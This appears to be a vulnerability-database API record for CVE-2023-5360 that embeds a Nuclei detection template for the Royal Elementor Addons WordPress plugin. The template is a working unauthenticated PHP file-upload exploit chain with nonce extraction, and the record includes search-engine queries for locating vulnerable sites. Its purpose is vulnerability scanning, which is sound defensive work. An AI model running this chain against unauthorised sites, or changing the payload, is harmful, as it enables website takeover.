{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-5360/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-5360/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-5360/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-5360/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-5360/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-5360"},"sightings":{"href":"/api/v1/sightings/cve-2023-5360"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-5360.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-5360\n\ninfo:\n  name: WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload\n  author: theamanrawat\n  severity: critical\n  description: |\n    Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79\n  impact: |\n    Unauthenticated attackers can upload arbitrary files including PHP backdoors to gain complete control of the WordPress site.\n  remediation: Fixed in 1.3.79\n  reference:\n    - https://wordpress.org/plugins/royal-elementor-addons/\n    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-5360\n    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34\n    - http://packetstormsecurity.com/files/175992/WordPress-Royal-Elementor-Addons-And-Templates-Remote-Shell-Upload.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-5360\n    cwe-id: CWE-434\n    epss-score: 0.81695\n    epss-percentile: 0.99635\n    cpe: cpe:2.3:a:royal-elementor-addons:royal_elementor_addons:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: \"true\"\n    max-request: 3\n    vendor: royal-elementor-addons\n    product: royal_elementor_addons\n    framework: wordpress\n    shodan-query: http.html:/plugins/royal-elementor-addons/\n    fofa-query: body=/plugins/royal-elementor-addons/\n    publicwww-query: \"/plugins/royal-elementor-addons/\"\n  tags: wpscan,packetstorm,cve,cve2023,rce,wordpress,wp-plugin,wp,royal-elementor-addons,unauth,intrusive,vkev,vuln\nvariables:\n  file: \"{{to_lower(rand_text_alpha(5))}}\"\n  string: \"CVE-2023-5360\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /wp-admin/admin-ajax.php?action=wpr_addons_upload_file HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=---------------------------318949277012917151102295043236\n\n        -----------------------------318949277012917151102295043236\n        Content-Disposition: form-data; name=\"uploaded_file\"; filename=\"{{file}}.ph$p\"\n        Content-Type: image/png\n\n        <?php echo md5(\"{{string}}\");unlink(__FILE__);?>\n        -----------------------------318949277012917151102295043236\n        Content-Disposition: form-data; name=\"allowed_file_types\"\n\n        ph$p\n        -----------------------------318949277012917151102295043236\n        Content-Disposition: form-data; name=\"triggering_event\"\n\n        click\n        -----------------------------318949277012917151102295043236\n        Content-Disposition: form-data; name=\"wpr_addons_nonce\"\n\n        {{nonce}}\n        -----------------------------318949277012917151102295043236--\n      - |\n        GET /wp-content/uploads/wpr-addons/forms/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_3\n        words:\n          - '{{md5(string)}}'\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body_1\n        group: 1\n        regex:\n          - 'WprConfig\\s*=\\s*{[^}]*\"nonce\"\\s*:\\s*\"([^\"]*)\"'\n        internal: true\n\n      - type: regex\n        name: filename\n        part: body_2\n        group: 1\n        regex:\n          - 'wp-content\\\\\\/uploads\\\\\\/wpr-addons\\\\\\/forms\\\\\\/(.*?).php'\n        internal: true\n# digest: 4a0a004730450221009970cc2cf688674b6f9b7b03e3f4ff645776d003246a24e8f5f978391b75d9d8022033c637fbfa00fd6f7bd3d66b3b880e36c7857baed925d904fb6bb9ae1dd9b18b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-5360"}